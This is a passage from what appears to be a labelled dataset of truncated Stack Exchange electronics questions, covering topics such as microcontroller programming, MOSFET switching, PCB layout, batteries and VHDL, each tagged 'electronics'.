does not perform as expected. I am using BSS138 as mentioned in Adafruit and Spakrfun. When I ... ",['electronics'] "Title: Confusing ratings of maximum current sunk/sourced by a pin in PIC24E datasheet Body: I started a new design based on a PIC24EP256GP202. I was interested in finding how much current can a single pin sink/source, but the datasheet looks a bit confusing to me: The Absolute Maximum ... ",['electronics'] "Title: Data logger using ARM 9 (Friendly ARM Mini 2440 kit) Body: I have been working on this kit for the past month and have simulated some basic programs using Keil (non os using just C). I was assigned a project of making a data logger which stores the data in ... ",['electronics'] "Title: AVRDUDE: Write EEPROM bytes without file Body: Is it possible to write EEPROM bytes via AVRDUDE and an AVRISP mkII directly from the command line without needing an EEPROM file read from another chip? Kind of like how you can specify the fuse ... ",['electronics'] "Title: What does schematic of a transceiver equalizer and transceiver preemphasis circuit look like Body: I have been reading about transceiver basics and was wondering about how 3 circuits look like: Receiver equalizer. Transmitter preemphasis. Clock data recovery. Where can I find a circuit diagram ... ",['electronics'] "Title: varying load from electric motor Body: How does the discharge rate of the battery pack in an electric vehicle vary from 1C to 4C for example when the vehicle accelerates? It's the same electric motor and the same battery. How does the ... ",['electronics'] "Title: Regarding Return currents of the traces in PCB Body: This Question very basic and may be dumb question.. I remember for every trace a return current will flow exactly under it(minimum inductance path) or shortest path(minimum resistance). I have a 2 ... ",['electronics'] "Title: A strange keybord input-output problem [closed] Body: I wanted to ask about a problem that have with my keyboard. Can you infer/explain what could have happened to it and how to fix that from keybords current behvior: some of the keys are outputing to ... ",['electronics'] "Title: 3.5mm type custom USB connector Body: For a project, I like to use 3.5mm type USB connector. This is for a closed system therefore I am not worried about USB approval but I am worried for signal integrity and insertion/removal problems. ... ",['electronics'] "Title: How start running STM32 firmware from IROM2 in Keil Microvision? Body: I'm developing an embedded application using Keil MicroVision 4 & STM32F103RE I've splited Flash memory of device into two areas (IROM1 & IROM2) using IDE target options panel (Target tab, ... ",['electronics'] "Title: Better workflow in Atmel Studio 6 for building and transferring program Body: After having modified my code in Atmel Studio 6, I write the program to my MCU in the following steps: Click Build or F7 Click Device Programming or Ctrl+Shift+P Click Apply (to choose ... ",['electronics'] "Title: IR Emitter/Detector with 555 timer alarm Body: I have this circuit that detects when a tube is empty and pulses a piezo buzzer in .5 second intervals. I have it working with 5v on a breadboard, but I need to move it to 12v from a wall wart. ... ",['electronics'] "Title: Laptop Battery regeneraton [closed] Body: 12 cell li-on discharged manually overnight to 0.00v (discharged across 10.6V path), after discharge the center 4 cells appear open and will not accept a charge, the 4 cells at either end charge ... ",['electronics'] "Title: How to place decoupling capacitor in four-layer PCB? Body: I searched a technology document about placement of decoupling capacitors and the main idea is shown in the following picture: I think it is reasonable but do I have to put the decoupling capacitor ... ",['electronics'] "Title: How may I demonstrate the operation of an SWR meter? Body: I would like to demonstrate the principle of an SWR meter in a talk I am going to give to my local amateur radio club, using the basic ""micromatch"" circuit as in Bruene's article, which I found at: ... ",['electronics'] "Title: STM32 I2S Interupt Usage Body: I was trying out a sound experiment, starting off with sample code which sent data to the Discovery F4's audio codec using I2S. The sample code used polling in the main loop and sent data when the ... ",['electronics'] "Title: Do I need filtering caps for a USB power supply? Body: I'm pulling 5V from USB for testing an IC. Should I put a capacitor in there to filter the power supply, or will it already be steady coming from the laptop? I don't have access to an oscilloscope, ... ",['electronics'] "Title: piezo keypad question Body: I need to connect a piezo keypad to a microcontroller. One one side of the key I plan on supplying 3.3volts. The other side of the switch will be about 200mv to 1.5 volts depends on how hard they hit ... ",['electronics'] "Title: How to reduce MOSFET turn-off delay Body: The title says it all in signal switching applications - besides choosing a different device, how can I reduce the turn-off delay of (N-channel) MOSFETs? Is there something similar to the Baker Clamp ... ",['electronics'] "Title: Searching for a desktop power supply and multimeter [closed] Body: I was hoping to start off with a cheap,safe, working desktop power supply that can deliver enough power for me to tinker with small electronics projects (no more than a few volts and very low ... ",['electronics'] "Title: Effects of avoiding a snubber circuit? Body: Do I need a snubber circuit across the motor here?. I implemented the circuit and checked it working fine so far without a snubber circuit. what are the possible problems that may arise in this ... ",['electronics'] "Title: Bluetooth to Zigbee Body: Is it possible to create a bluetooth ""extender"" by connecting the TX and RX line of a bluetooth module to the RX and TX lines of a Zigbee? ",['electronics'] "Title: Can you use reverse as regenerative braking in a 2 quadrant motor? Body: I'm having trouble understanding 4 quadrant versus 2 quadrant drive for a 3 phase permanent magnet brush-less motor. Let's say you are riding a scooter with such a motor at a certain velocity forward ... ",['electronics'] "Title: Ferrite Beads - Maximum DC current and resistance Body: I'm building a PupDAC (http://www.diyforums.org/PupDAC) and am looking into two different Ferrite beads. The plan for the PupDAC calls for this Vishay/Dale model (link 1) while I'm looking into this ... ",['electronics'] "Title: Time taken by an alternating quantity to reach a particular value for the second time within one cycle Body: How do we find the time taken by the current i=20sin(314t) to reach a particular value( not 0 or the peak value) for the second time within one cycle ",['electronics'] "Title: Low Voltage DC Automatic Transfer Switch Body: I am new to circuits and have a very basic knowledge, and am currently interested in building a simple circuit that would take 2 DC inputs each of 12V 1.5A and output 1 x 12V 1.5A input even if 1 of ... ",['electronics'] "Title: Arduino starter [closed] Body: I have finished my first year in engineering and would like to do some projects related to arduino. What should we do as a starter? ",['electronics'] "Title: CC2540-Honeywell SPI Body: I am now working with Honeywell HSCMRRN100MDSA3 pressure sensors, I want to establish a connection with TI CC2540 Bluetooth LE SoC, in SPI mode. Which ports of the TI SmartRF05EB Evaluation Board rev ... ",['electronics'] "Title: How does avrdude with AVR-ISP-MKII respond when no target board is connected? Body: How does avrdude with AVR-ISP-MK2 respond when no target board is connected? I'm trying to troubleshoot my set-up, and would like to know if the problem lies between the laptop and programmer or ... ",['electronics'] "Title: what is typical car alternator inductance? Body: Anyone know the typical line-to-line inductance of a car alternator? I'm looking for a cheap stator to use as a 3-phase high-current inductor. ",['electronics'] "Title: STM32 Virtual COM Port example seeing AT+GCAP Body: I'm running the STM32 Virtual COM Port example from the USB device library on a STM32F103 and connecting to the device using Ubunutu. Looking at the USART port I keep seeing ""AT+GCAP"" over and over. ... ",['electronics'] "Title: ATtiny85, timer 1B does not work if COM1A1|COM1A0==0 Body: I read the datasheet, and checked http://www.avrfreaks.net forum, but I cannot understand why on an ATtiny85: ... ",['electronics'] "Title: How should I choose the resistors in a voltage divider? Body: I would like to measure tree signals by using a ucontroller. the signals are between -5V to 5V 0V to 2V -20V to 20V The frequency of the signals are between 1MHz and 5MHz. The ADC range is ... ",['electronics'] "Title: What kind of MOSFET use as a switch touch on, touch- off Body: What kind of MOSFET (or other component you suggest) will be the adequate to use as a switch (touch on, touch-off) with the following information: Power In = 2.7 to 6.2 V when on. Power out = close ... ",['electronics'] "Title: PC Power Supply Schematic Drawing [closed] Body: Anybody has a very simple Schematic drawing for PC power supply ? Or any basic components needed for a PC Switch Mode Power Supply Circuits . Example like rectifier , Buck Converter ",['electronics'] "Title: AVR ADC performance: interrupts vs. manual conversion Body: I have a device on ATMega16 microcontroller that is supposed to constantly send ADC measurement results over USART. The controller is operating at 16MHz with an external crystal and ADC prescaler is ... ",['electronics'] "Title: Dual Float Switches for a Boat's Bilge Pump Body: Background: I work on a sailboat and I'm trying to recreate the schematic for the vessel's bilge pumps. The typical bilge pump system has one float switch and looks like this (the ""Pump and Float ... ",['electronics'] "Title: Good first Oscilloscope [closed] Body: I have had the need for a scope more and more and I have finally decided it is time to get one. What are the options and what are recommendations for a first scope. I am thinking a CRT one. I don't ... ",['electronics'] "Title: Building small, low-power pedometer/odometer with memory and time/date log Body: Background I'm a researcher looking at the use of personal tracking devices and apps (like Strava app or Fitbit device) for cycling. At the moment I'm designing a simple experiment where I want to ... ",['electronics'] "Title: relationship between battery voltage and discharge rate Body: I guess my question roots from me not understanding what a load represents to the battery. Is a 4V battery able to discharge at a higher rate (C rate) than a 2V battery? Or does it completely depend ... ",['electronics'] "Title: Balloons tethered a viable source of unlimited electricity? Body: I am wondering why Electrodynamic tethers are not a perfect solution to the worlds engery problems. The resources I have found are as follows - Article Test Wiki on how it seems to work The ... ",['electronics'] "Title: Voltage between two terminals of an open circuit which's connected in series with a current source Body: simulate this circuit – Schematic created using CircuitLab What will be the voltage between nodes A & B? My guess is that the voltage between nodes A & B should be increasing ... ",['electronics'] "Title: Bulk programming with unique id Body: When programming hundreds of thousands (or more) MCUs or EEPROMs, it seems that companies need to add unique serial numbers to each programmed unit -- don't want two units with the same serial number. ... ",['electronics'] "Title: Capacitor vs Diode rectifier Body: What is the difference between a capacitor and a diode rectifier ? I've learn to use a capacitor in debouncing circuit to absorb the current so that most momentary fluctuation that doesn't come from ... ",['electronics'] "Title: What is the principal challenge to making an incandescent-like dimmable LED lightbulb? Body: Although exhibiting better dimming performance than CFLs, commercially available LED lightbulbs seem to exhibit poor linearity compared with incandescents (especially in the bottom 20% of the dimming ... ",['electronics'] "Title: Timer on PIC18 not getting close to desired interrupt period time Body: I tried to setup Timer0 on a Microchip PIC18F46K22 so that it will trigger an interrupt and toggle an LED. However, it takes at least 42 µs for the LED to toggle. At an increment rate of Fosc/4 (= 8 ... ",['electronics'] "Title: Why are microcontroller WiFi modules expensive compared to USB WiFi adapters? Body: I recently bought a WiFi adapter for my Raspberry Pi for about 8 USD. At the same time, WiFi modules for Arduino and similar microcontroller boards cost several times as much. What is fundamentally ... ",['electronics'] "Title: USB and 9V DC out of a sealed box Body: I´m making a small box that has to be completely sealed with no holes on them. On the inside of the box is a circuit board which requires 9V DC plug and there is also a USB connection from the board. ... ",['electronics'] "Title: Reasons of more than one ground pin in L293 Body: Why in L390 they provide four pins for the ground and the heat sink? For heat sink,is only one pin is not sufficient? Here is the datasheet http://www.ti.com/lit/ds/symlink/l293d.pdf ",['electronics'] "Title: Selecting dsPIC33FJ programming pins Body: I'm getting ready to print up a board for a project using a dsPIC33FJ256GP710A. I've currently got it running on a EasyPic Fusion devboard. I see that there are a bunch of pairs of PGED's and ... ",['electronics'] "Title: How do you you get an Atmel radio chip to join an xbee network? Body: I have an AT86RF233 radio chip connected to an MSP 430 F5528 over SPI and I would like to figure out how to configure the radio chip to join an xbee network as a node. I have successfully gotten 2 ... ",['electronics'] "Title: understanding how a motor is controlled with an L293D and raspberry pi Body: See update, picture of robot below. So today I hooked up a motor and made it spin with my raspberry pi and an L293D by reading this tutorial. This is what the circuit looks like (larger pictures): ... ",['electronics'] "Title: Does the noise figure of a cable change if the load/source is mismatched? Body: I know that the noise figure of a transmission line is equal to its attenuation (usually expressed as dB/m or dB/100 ft). However, what if there is a mismatch between the line's characteristic ... ",['electronics'] "Title: weird Altera simulation result Body: I am trying to build a T flip-flop from a D flip-flop. The D flip-flop looks like this and the simulated waveform shows that it works.(when there is a rising edge D will be passed to Q) So I ... ",['electronics'] "Title: Noise problem with buck/boost switching regulator Body: I am designing a electrical device for a research project (I'm a PhD student, but unfortunately not EE!). More info on the device can be found at http://iridia.ulb.ac.be/supp/IridiaSupp2012-002/ The ... ",['electronics'] "Title: Maverick probe causes ardiuno to reset when touches grounded electrical item Body: I have a Maverick 732 probe connected to an Arduino for measuring temperature. The outer shield of the probe is connected to the ground pin on the Arduino, and the other wire is connected to an analog ... ",['electronics'] "Title: N MOSFET Issue in Battery Charging Circuit Body: My project uses a USB connection to charge a LiPo battery. The LiPo has built-in circuit protection. Everything works fine when hooking the +5V line straight from the USB hub to the battery's positive ... ",['electronics'] "Title: Hobby oscilloscope based on AVR. How to remove op-amp noise? Body: I'm building a hobby oscilloscope on an ATmega16 microcontroller. The main problem is that I receive a large amount of noise while measuring the signal. I used LF353 amplifiers to shift voltage and I ... ",['electronics'] "Title: Cap Value for Full Wave Rectifier Circuit Body: Why do we use a capacitor of specific value and not an arbitrary value for a full wave rectifier circuit? For example in this circuit diagram below shows a 470uF capacitor so why can't I use a ... ",['electronics'] "Title: Building a High Current Power Supply? (Odd Voltage) Body: I'm working on a project involving some custom LiFePO4 battery modules. They can take a very high current charge, and I'd like to take advantage of that. I have battery management and charge ... ",['electronics'] "Title: Optimal method for multiple MOSFETs for LED driving with a shared power rail Body: I have three LEDs (RGB), with the following forward voltages and current: red 2.25 V @ 0.35 A green 3.3 V @ 0.35 A blue 3.1V @ 0.35 A I plan on using three (3) RFP30N06LE MOSFETs in parallel @ ... ",['electronics'] "Title: trying to use a radio shack 276-640 IR receiver module Body: We have a mouse (or something) getting into cabinets. My wife doesn't want to kill it, and the no-kill mousetrap isn't catching it. So, I am modifying a trap with an IR emitter / detector so I know ... ",['electronics'] "Title: Driving LEDs with Specific drivers or buck/boost regulation Body: I have a circuit that is driving 3 x LED rings and an Arduino/ATmega @ 5v through a standard 5v regulator. Each LED ring draws 11v @ 300mA and is PwM switched using a 2n7000 Mosfet from the ATmega's ... ",['electronics'] "Title: How to track motion of a moving ovendoor Body: At work, we are measuring various parameters to test out a newly designed oven prototype. To make things more efficient, I am trying to create an electronic setup to automate the measurement, in ... ",['electronics'] "Title: Negative Feedback and life cycle of Vacuum tubes Body: There are many guitar tube amplifiers schematics that don't use negative feedback. I was wondering how the negative feedback can help in the life cycle of the tubes? (If can help) ",['electronics'] "Title: FreeRTOS queues and IPC confusion Body: I'm struggling with my first real freeRTOS project. I am basically using an ATmega328P microcontroller and an nRF24L01+ radio as a ""node"". I have two of these nodes and I am using them to talk to each ... ",['electronics'] "Title: How can I solve a circuit of resistances with both a voltage and a current-source in between them? Body: If I have a circuit that consists out of multiple non-parallel/serial resistances with current/voltage sources in between them like the one below How can I solve a system like that (in this case for ... ",['electronics'] "Title: neat ear detection of chirping and defective components Body: one more question for today. as told, we have complications regarding AC supplies (220volts) therefore all PSU units likely fail in several ways. most of them start chirping at some undetectable ... ",['electronics'] "Title: Replacing 1N4001 for higher current diodes Body: We're trying to build a PCB here which originally has several 1N4001 diodes but we only have 1N4007 or 1N4008 diodes. What would be the consequences of such replacement? Are 1N4001 diodes more ... ",['electronics'] "Title: What is input and output impedance of an opamp? Body: I have never understood input and output impedances of an op-amp. If anyone can explain what these two terms mean in an op-amp I'd highly appreciate it. Thank you! ... ",['electronics'] "Title: Why can 2 xbee units not discover each other? Body: I have followed the steps outlined here and everything appeared to work 100%. However, when I open up X-CTU and click ""Digi Device Discovery"" the two xbee units cannot find each other. My ... ",['electronics'] "Title: What is the reason for adding a buffer stage? Body: I was following this microphone and speaker circuit and I could follow mostly but got confused when the author introduces a DAC buffer. http://www.instructables.com/id/Arduino-Audio-Output/?ALLSTEPS ... ",['electronics'] "Title: Any obvious problems with this DIY home automation? Body: I'd like to know if anyone can spot any serious electrical issues in what I'm trying to do from an electrical viewpoint. Youtube Demo http://www.youtube.com/watch?v=BmsdXMbd2vo Short version: I ... ",['electronics'] "Title: variable-speed focus PTZ protocol Body: I'm building camera systems to mount on top of a TV tower. When storm clouds roll, in the video is displayed on the TV weather report. No one wants to climb the tower to manually pan and tilt and zoom ... ",['electronics'] "Title: Stepper motor runs only in one direction Body: I have a mycom PS464-01A stepper motor and its driver IMS20-210. Here is the situation, I have 2 drivers of the same and in control it using labview. I run DRIVER 1 and it runs both ways. I run ... ",['electronics'] "Title: Is this a practical minimalist 5v to 3.3v circuit? Body: I've been whipping out quick and dirty USB -> 3.3v supplies for XBee experiments. All it powers is the bee (ser 1) and a couple of low intensity LEDs on the DIO lines, 50mA max draw total. A simple ... ",['electronics'] "Title: Integrated Circuit Size Estimation [closed] Body: How would I estimate the minimum size of a custom IC whose size is pad-limited with a large number of pads? (Pad-limited means that the minimum die size is dictated by the size of the inputs and ... ",['electronics'] "Title: What is 'load' in percentage? Body: Aircraft Airbus 320 has two 110/220v 400 hz 90 kva generators, run by two engines. There is an electronic display in the aircraft that also shows the parameters of the electrical system. One of the ... ",['electronics'] "Title: Current flow in series circuit with different (unknown) resistances Body: I have a question about the current flow in a series circuit. In a series circuit the current flow is the same. It is also true that the current flow is inversely proportional to the amount of ... ",['electronics'] "Title: Is there any method to communicate with a car ECU? Body: I want to build a device with AVR to read the car RPM from its ECU. I don't know how to receive data from ECU at all. The thing is important for me is Reading car RPM. any suggestion? EDIT: The car ... ",['electronics'] "Title: Encrypting a JDEC file in Lattice MachxO2 Body: I am working on lattice MachxO2 FPGA. Our customer is asking to to encrypt the JDEC file (the bit file). How do I do this? There is sample Unencrypted JDEC file and some information given here ... ",['electronics'] "Title: the . hex file we burn goes to flash memory or RAM or EEPROM of Atmega8? Body: The flash memory of atmega8 is 8Kb. Is this the maximum size for the .hex file, or it the max memory which i can allocate to variables in my code? If none of the above is true, than what is memory ... ",['electronics'] "Title: Accuracy class 0.5 (0.25 USA) Body: I have a 50 Amp current shunt, Tyco, specified as ""Accuracy class: 0.5 (0.25 USA)"" What does 0.25 (USA) mean? Is it somehow equivilant to class 0.5 ISO, or does it mean something else? I'm not in the ... ",['electronics'] "Title: How does SDRAM refresh interact with ECC Body: I'm trying to understand how SDRAM hardware works if it also has ECC capability. If a memory system has ECC capability it will be able to correct a single bit error in a block of memory and detect, ... ",['electronics'] "Title: matching input and output impedance in an audio circuit Body: I have searched many places but have failed to get a clear and convincing explanation about why we match input and output impedance in audio circuits. For example: lets consider a simple audio circuit ... ",['electronics'] "Title: MIC1 Architecture High bit Circuit Body: Does anyone know what the MIC1 High bit circuit looks like? Or at least the truth table so that I can construct it and get an understanding of it. Here is a picture of the Architecture. The high bit ... ",['electronics'] "Title: NPN Transistor Behavior with Base Voltage higher than Collector Body: Lets say I have this circuit: simulate this circuit – Schematic created using CircuitLab I think if I apply a 0 to the base of Q1, I'll develop something like 4.3V at the collector of ... ",['electronics'] "Title: Can one use PiFace for A/D conversion? Body: the PiFace is advertised as the shield ""connecting the Raspberry Pi to the real world"" and they claim that this includes things like temperature sensors. I know how to read the temperature using an ... ",['electronics'] "Title: 2-bit adder and Multiplier Body: I am trying to wire a 2 bit adder and a Multiplier on my breadboard. I have the 2 bit adder somewhat done, but dont know where to start on the multiplier. I need help reading circuits and translating ... ",['electronics'] "Title: What is the “ammo” packaging method when ordering through hole parts? Body: I'm familiar with bulk, tape and reel, cut tape, and tube, but what is ""AMMO?"" Source: Fairchild 2N3904 datasheet, page 2 ",['electronics'] "Title: Fixing Setup and hold timing violations in FPGA's and ASIC designs Body: I have basic knowledge in static timing analysis. I understand concepts about setup and hold time of bistables and that failure to meet these two timing constraints can lead to metastability where ... ",['electronics'] "Title: VHDL: Infinite loop for constant, but no problem with literal Body: I wrote a Testbench for a simple architecture. When I use the literal ""1 ms"" instead of the constant ct: time := 1 ms everything works. But otherwise GHDL stucks in an infinite loop. Can you see an ... ",['electronics'] "Title: Leading Power Factor effects on electrical System Body: If power factor comes in leading & showing -0.95. Is there any effect on electrical system? if yes, then please tell me what would be the effects. & how long we keep power factor in leading. ... ",['electronics'] "Title: While loop in test bench of and gate. getting no output Body: I have written a simple test bench for and gate. My code and test bench was working fine. Now what I want to do is "" I am trying to implement a while loop for my cases"". I am not getting syntax error ... ",['electronics'] "Title: Writing a binary file for an LPC1313FBD48 Microcontroller Body: NOTE: I wasn't 100% sure if this question would go to EE or SO. I put it here because my SO account isn't accepting any more questions and I have been asking questions about the LPC1313FBD48 mcu on ... ",['electronics'] "Title: Intentionally mis-use the USB port on an Arduino? Body: I want to take an Arduino and after programming it on the PC like normal via USB, push a button or something and change its mode so that the behaves differently. Is this possible? I'd like to ... ",['electronics'] "Title: Is voltage a delta? Can it always be treated as a potential difference from a reference point? Body: I've always considered voltage to be absolute, i.e. something that is there or is not there. However, the more I think about it, it seems to be more like a delta. For example, let's say we have a ... ",['electronics'] "Title: Some doubts about PCB USB connectors Body: I'm trying to make a PCB where I have USB connectors, but I'm really new into this and I'm trying to solve a few questions online about the theme, if you could guide me online through the theme that ... ",['electronics'] "Title: Advices on building a USB switch Body: We are building a system that needs to have 2 kinds of USB Switch: one momentary (normally closed) and another that is not momentary (like this). We are thinking about doing something like this: ... ",['electronics'] "Title: NMOS Transistor Voltage Range For Specification? Body: I have a homework question I'm a little confused about. I was hoping for a point in the right direction. I am given the \$K_n\prime\$ \$(400 \cdot 10^{-6} A/V^2)\$ and threshold voltage (0.4V) for an ... ",['electronics'] "Title: 12v to 300v Boost Converter - Ideal Inductor for 9kOhm load Body: I'm currently working with a MAX1771 chip, the design can maintain a stable voltage up to around 15kOhm and is as follows: 12V to 300V DC-DC Boost : Disregard NMOS and DIDODE Value The inductor ... ",['electronics'] "Title: Power source select for Raspberry Pi Body: I'm creating a board which takes an external power source to drive motors which are controlled by a ULN2003A connected to the Raspberry Pi GPIO. It would be nice if when the external power source is ... ",['electronics'] "Title: Using AVR dragon with Atmel Studio 6 Body: I'm having Xmega Xplained 128A1 Kit along with AVR dragon. Can anyone help me with the steps to be followed for programming Xmega using Dragon using Atmel Studio 6? I have downloaded the material ... ",['electronics'] "Title: For the CAN bus, is it OK to swap CANH and CANL lines? Body: Similar to question In a USB cable, is it OK to swap the D+ and D- wires?, is it okay if we interconnect CAN-H and CAN-L lines? CAN is a differential protocol. Is it that dominant and recessive bits ... ",['electronics'] "Title: How do I pick the right resistor for an optoisolator given a desired current? Body: This is a follow up to this question, but isn't specific to the other one. This is both an ohm's law question and a 'how does one interpret data sheets' question. I want to minimize the current I ... ",['electronics'] "Title: Interface-like definition in Arduino? Body: I'm writing a new Arduino project that uses an 16x2 LCD Crystal Display with a KeyShield. I would like to construct a menu structure in which the user can navigate using the buttons. I'm new to ... ",['electronics'] "Title: Which potentiometer to use? Body: New to electronics...so learning as I go. I have a 12vDC 1.5amp power supply that I will be using to power a 12vDC .30a computer fan. I want to use a potentiometer to adjust the speed of the fan but ... ",['electronics'] "Title: Pulling power off a battery stack at different voltages Body: If I'm powering a device with a series-connected stack of rechargeable batteries, can I pull different voltages at different points and route them to different components? I need to run a 12V ... ",['electronics'] "Title: Amperage in a USB AC-to-DC power converter [duplicate] Body: so it was my understanding that USB was standardized with 5 volts (V) at 1 Amperage (A), but I've seen wall adaptors with 5V and different Amperage including 1A, 1.1A, 1.5A, 2A, 2.1A, and as much as ... ",['electronics'] "Title: 9v + 2 LED set up. safe? Body: I have two 10mm white LEDs FW current is 20mA, FW supply is 3.5V typical or 4.0V Max. I am wanting to connect them to one 9V battery I have a 100-ohm resistor at 1/4 watt 5% tolerance. Is this a ... ",['electronics'] "Title: How can I electronically measure tilt/compression of a pliers or alligator-clip? Body: I would like to electronically measure the width (really the compression/extension) to which an object's constituent blades have been stretched. Or alternatively, I could measure some other parameter ... ",['electronics'] "Title: What are the functional differences between monolithic and disc ceramic capacitors? Body: I've inherited an older part numbering scheme, in which ceramic capacitors are divided into disc and monolithic types. Is this actually a firm division in their characteristics? If so, what are the ... ",['electronics'] "Title: AC ripple at input of linear regulator Body: Does the AC ripple voltage at the input of a linear regulator like LM317 affect its regulation ? I had a circuit where I found that the output of the LM317 was dipping under higher loads(15V,1A).The ... ",['electronics'] "Title: Differences, uses, and theory of volatile and nonvolatile memory? Body: I understand the basics of volatile and nonvolatile memory. Volatile memory requires a constant power supply to retain data whereas non-volatile memory does not require a constant power supply to ... ",['electronics'] "Title: Donor's density from special resistivity Body: I am playing around with a silicon diode that has unknown Donor's density. I know that acceptors' density is \$N_a=10^{19}cm^{-3}\$ and special resistivity of the substrate is \$\rho=4000\;\Omega cm\$ ... ",['electronics'] "Title: Protective insulation for magnet installed in earth Body: My this question is a part of a question I earlier asked sensor to detect magnetism. So please don't refer it as non-engineering question. I had to install some neodymium magnets in the earth. Their ... ",['electronics'] "Title: How should I alter my PISO shift register circuit so that it works with 3.3v instead of 5v? Body: I've followed this Arduino guide to build a circuit using a CD4021BE PISO shift register, and 10k pulldown resistors. It works perfectly fine with the Arduino's 5v supply. I then attempted to use ... ",['electronics'] "Title: How can I build a 12V to 24V DC-DC Converter with up to 3A of Output current to power up a motor Body: I've built a 12V to 300V boost covnerter using a MAX1771, but now required one which can handle up to 3A with a 24V output. Should I attempt this task with the same chip or could someone point me in ... ",['electronics'] "Title: What are the possible causes of sudden extremely high internal resistances in Lithium batteries? Body: Not a duplicate, just to separated a good question from Does a crude Li-ion 18650 battery have internal thermal (mechanic?) protection? Short history long: I extracted 6 18650 (Sanyo) batteries from ... ",['electronics'] "Title: Designing a Morse code transmit/receive shoe Body: Thank you for considering my general question, which I assure you is serious! I want to build -- or have built -- a magnificent shoe that can convert taps (front of the shoe) into Morse code and ... ",['electronics'] "Title: Multiplexing AVR (ATMega328) PWM within Interrupts Body: I'm trying to take 3 common anode RGB LEDs and hook up the cathodes of each to three of the PWM outputs on an ATMega328p and then in an ISR, multiplex between them all. The problem I'm running into ... ",['electronics'] "Title: How does SOLOSHOT work? [closed] Body: Does anyone know how SOLOSHOT works? I'm interested in exploring cheap ways of tracking an object relative to another object. So my brother sent me a link to this product and I'm having trouble ... ",['electronics'] "Title: std_logic_vector to unsigned conversion throwing incompatible error Body: Below is a VHDL code of a even/odd parity generator for a bus of given width. ... ",['electronics'] "Title: Is there any way to differentiate the sound of blowing air from normal sound through phone microphone? Body: I have been working on an Android app that takes input from microphone when user blows into it. I am using FFT based sound analysis and converting the values in frequency by using a zero crossing ... ",['electronics'] "Title: CMRR and Common Mode Voltage [duplicate] Body: What does CMRR define for an Differential amplifer, and what is the use of it... How/why does common signal/voltage appear, and should we see it as noise, since we want to reject it, or ??? ",['electronics'] "Title: What is Carner Statistics in electronics? Body: I found a topic ""Carner Statistics"" in semiconductor theory. I searched in google to know about this but in vain. Where can i get more information about this topic? ",['electronics'] "Title: USB Solarpanel read current with python? [duplicate] Body: I'd like to connect a small solar panel (2v 50ma) to a USB cable and measure the output on python. Now I was wondering if this would work and how to make it work. How many volts can I send into my pc ... ",['electronics'] "Title: How to control an LED light by the output of a matlab program? Body: In my project, I'm designing the software to control a door using fingerprints, so I have 2 possible outputs: 1-door open, 2-door not open. I need to change this output to an LED as an example (red ... ",['electronics'] "Title: Difference between Differential op amp. and comparator Body: What is the Difference between differential op. amp and comparator I know a comparator only can give me 2 values, supply values. The differential op. amp amplifies the difference between the inputs.. ... ",['electronics'] "Title: 8051 interrupt priority level significance Body: I am working with P89V51RD2 which is a 80C51 micro-controller. It has Eight Interrupt Sources and Four Priority Levels. In the above table, there is a column Service Priority which sounds like ... ",['electronics'] "Title: Parallel port output in C++ on Win7 x64 Body: First of all, I have searched the internet all day long, including here on stackexchange, and couldn't find a clear solution. Only ambiguous answers and dead links. Let's start with what I have: my ... ",['electronics'] "Title: mbed vs Teensy 3 vs other options Body: I'm an electrical/electronic technician, I'm good with analog electrical stuff & electronics, but when it comes to microcontrollers, programming & uA, stuff start to sound Chinese to me (no ... ",['electronics'] "Title: Find the RMS value of the periodic triangular current, if Im=1A, T=1s Body: Find the RMS value of the periodic triangular current, if I_m=1A, T=1s. Could you tell me step-by-step how to do this? It's not a homework, I just want to find out how to solve this problem. ",['electronics'] "Title: Error when compiling “Does not name a type” Body: I want to inherit my own class from LiquidCrystal that creates some custom characters during initialization. Here's the code I've written so far: MyProject.ino ... ",['electronics'] "Title: What causes the background hissing in car speakers? Body: My knowledge of electronics is very limited, but I think I should be able to understand the answer to this. In a car, if I turn the volume up as high as it goes with the auxiliary cable plugged in, I ... ",['electronics'] "Title: Detect logic signal in a long distance. What type of interface to use? Body: My daughter board uses a comparator(LM339) to output logic 1 or 0 under a 3v3 supply. The cable connecting daughter board and main board is at least 1.5m. Luckily, the frequency is not fast but the ... ",['electronics'] "Title: Problem with the code of GLCD128x64 Body: ... ",['electronics'] "Title: Capturing Data Samples of a signal centered at 13.56 MHz using GNU Radio/Real time spectrum analyzer Body: I am working with NFC for my research and I have to intercept the communication signal at 13.56 MHz. I am supposed to take about 80,000-100,000 data samples (in time domain) for my Matlab routine for ... ",['electronics'] "Title: PIC + L6203 (Driver) problem (PIC Resetting) Body: I've created an electronic board to control a joystick (Yoke) using a PIC18f4550. The uController communicates with the computer via USB and send/receive all necessary data information to control 2 DC ... ",['electronics'] "Title: How to create high voltage dividers without blowing up resistors Body: I figured out that it took around 75 volts to light up a neon bulb I had. I want to make a high-voltage meter with a few bulbs specifying certain amount of volts. So as a first test, I just hooked up ... ",['electronics'] "Title: Do the recombination of charge carriers cause the diode to stop conducting? Body: This might be a stupid question but I am either having a mental block or I'm getting something. I'm learning about excess minority charge carriers. So, when an electric field is applied across a pn ... ",['electronics'] "Title: Learning how my circuit works (PWM a 5V USB fan) Body: I'm new at electronics (my new hobby) and got a lot of good responds from you guys so hope you can help me out with this one as well. I got this an USB fan that I wanted to modulate by controlling it ... ",['electronics'] "Title: not receiving signal when RedBoard is using XBee shield Body: I'm running into a problem with a SparkFun XBee Shield (WRL-10854) when used with a RedBoard (DEV-10908) (Arduino Uno compatible) where it doesn't receive the signal being sent to it. When the same ... ",['electronics'] "Title: Java calculator to circuit [closed] Body: I have this code: ... ",['electronics'] "Title: Measuring and Replicating Electrical Codes from heating controller Body: I'm wondering if the fantastic electronic engineering community can assist with a little project I'm attempting. I have a Rinnai tankless hot water heater that is controlled via a hot water controller ... ",['electronics'] "Title: Sharing the low voltage rail of unknown potentials… How to make Proper Floated Voltages? Body: I asked a previous question about running circuitry off a high voltage supply with unknown ground potential. The question is here: Generating a 10 volt rail from a High Voltage Supply with unknown ... ",['electronics'] "Title: What does hot and cold mean on an AC outlet? Body: So I sometimes hear that the outlet has a smaller hole for hot and larger for cold so its harder to stick your finger in hot. But if it is an AC wave, shouldn't they both be the same, because they get ... ",['electronics'] "Title: Area vs Operating Frequency in asic synthesis Body: I am trying Synopsys dc tool for synthesizing my design. I tried different operating frequencies and observed the design area. Normally area should increase with increasing operating frequency but in ... ",['electronics'] "Title: Importing Drawings ( DXF ) in Altium Body: I'm having trouble importing DXF / DWG into Altium. I followed the procedure outlined in the Altium wiki File-->Import (selected my dxf) and nothing shows up on my mechanical layer. I've tried ... ",['electronics'] "Title: IDE for STM32F107VCT6 MCU Body: I'm kind 